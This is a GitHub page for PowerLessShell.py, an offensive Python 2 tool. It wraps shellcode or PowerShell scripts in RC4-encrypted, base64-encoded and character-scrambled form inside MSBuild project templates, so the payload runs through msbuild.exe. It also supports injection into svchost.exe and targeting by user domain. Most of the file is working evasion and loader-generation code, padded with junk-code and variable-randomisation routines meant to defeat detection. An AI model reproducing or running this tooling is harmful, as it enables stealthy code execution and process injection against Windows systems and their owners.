-
Notifications
You must be signed in to change notification settings - Fork 252
/
PowerLessShell.py
165 lines (131 loc) · 5.28 KB
/
PowerLessShell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
# Author: Mr.Un1k0d3r - RingZer0 Team 2017
# Code clean up 2021 <3
import argparse
import random
import string
import base64
import sys
import re
import os
TEMPLATE = "include/template-"
class Generator:
def __init__(self):
self.error = 0
self.banner()
def print_error(self, error):
print "\033[91m[-] >>> %s\033[00m" % error
def banner(self):
print "PowerLessShell Less is More\r\nMr.Un1k0d3r RingZer0 Team\r\n-----------------------------------------------------------"
def set_template(self, path):
self.data = self.load_file(path, True)
self.rand_vars()
def gen_str(self, size):
return "".join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(size))
def rand_vars(self):
for i in reversed(range(1, 100)):
self.data = self.data.replace("VAR" + str(i), self.gen_str(random.randrange(5, 25)))
def get_output(self):
return self.data
def gen_rc4_key(self, size):
return os.urandom(size)
def format_rc4_key(self, key):
return "0x" + ", 0x".join(re.findall("..", key.encode("hex")))
def load_file(self, path, fatal_error = False):
data = ""
try:
data = open(path, "rb").read()
except:
self.error = 1
self.print_error("%s file not found." % path)
if fatal_error:
exit(0)
return data
def set_condition(self, data, value = ""):
if value == "":
return data.replace("[CONDITION]", "")
else:
return data.replace("[CONDITION]", ' Condition="\'$(USERDOMAIN)\'==\'%s\'"' % value)
@staticmethod
def gen_pattern(charset):
return ''.join(random.sample(charset,len(charset)))
def gen_junk(self):
junk = ["int", "var", "float", "decimal", "uint", "double", "long"]
data = ""
for i in range(0, random.randrange(1, 12)):
data += "\t\t\t\t%s %s = %d;\r\n" % (random.choice(junk), self.gen_str(random.randrange(5, 25)), random.randrange(1, 100000))
return data
class RC4:
def KSA(self, key):
keylength = len(key)
S = range(256)
j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(self, S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def Encrypt(self, plaintext, key):
output = ""
key = [ord(c) for c in key]
S = self.KSA(key)
keystream = self.PRGA(S)
for c in plaintext:
output = output + chr(ord(c) ^ keystream.next())
return output
if __name__ == "__main__":
gen = Generator()
parser = argparse.ArgumentParser()
parser.add_argument('-type', action='store', default="shellcode", help='Payload type (shellcode/shellcode_inject/powershell) default to: shellcode')
parser.add_argument('-source', action='store', help='Path to the source file (raw shellcode or powershell script)', required=True)
parser.add_argument('-output', action='store', help='MSBuild output filename', required=True)
parser.add_argument('-arch', action='store', default='32', help='Shellcode architecture (32/64) default to: 32')
parser.add_argument('-processpath', action='store', default='c:\\\windows\\\system32\\\svchost.exe', help='Process filename path for shellcode inject default is: c:\\\windows\\\system32\\\svchost.exe (note for double \\\. use process matching the shellcode architecture!)')
parser.add_argument('-condition', action='store', default="", help='XML Compiling condition default (Check for USERDOMAIN) default is: none')
options = parser.parse_args()
template_path = TEMPLATE
shellcode_arch = ""
data = ""
shellcode_inject_path = options.processpath
if options.type == "powershell":
template_path += "powershell.csproj"
elif options.type == "shellcode":
template_path += "shellcode.csproj"
else:
template_path += "shellcode_inject.csproj"
print "Generating the msbuild file using %s as the template" % template_path
if options.arch == "64":
shellcode_arch = "64"
print "Generating a payload for a 64 bits shellcode! Don't forget to use the 64 bits version of msbuild.exe"
if options.arch != "64" and options.type == "shellcode_inject":
print "Shellcode Injection Template is in use with 32 bits architecure! Don't forget to use 32 bits process to inject"
gen.set_template(template_path)
rc4 = RC4()
key = gen.gen_rc4_key(32)
data = gen.load_file(options.source, True)
cipher = base64.b64encode(rc4.Encrypt(data, key))
pattern1 = Generator.gen_pattern("#!@$%?&-~")
pattern2 = Generator.gen_pattern(",.<>)(*[]{}`")
cipher = cipher.replace("m", pattern1).replace("V", pattern2)
output = gen.get_output()
output = output.replace("[KEY]", gen.format_rc4_key(key)).replace("[PAYLOAD]", cipher)
output = output.replace("[PATTERN_1]", pattern1).replace("[PATTERN_2]", pattern2)
output = output.replace("[JUNK1]", gen.gen_junk()).replace("[JUNK2]", gen.gen_junk()).replace("[JUNK3]", gen.gen_junk())
condition = options.condition
output = gen.set_condition(output, condition)
output = output.replace("[ARCH]", shellcode_arch)
output = output.replace("[PROCESSPATH]", shellcode_inject_path);
try:
open(options.output, "wb").write(output)
except:
gen.print_error("Failed to write the output to '%s'" % options.output)
exit(0)
print "File '%s' created" % options.output
print "Process completed"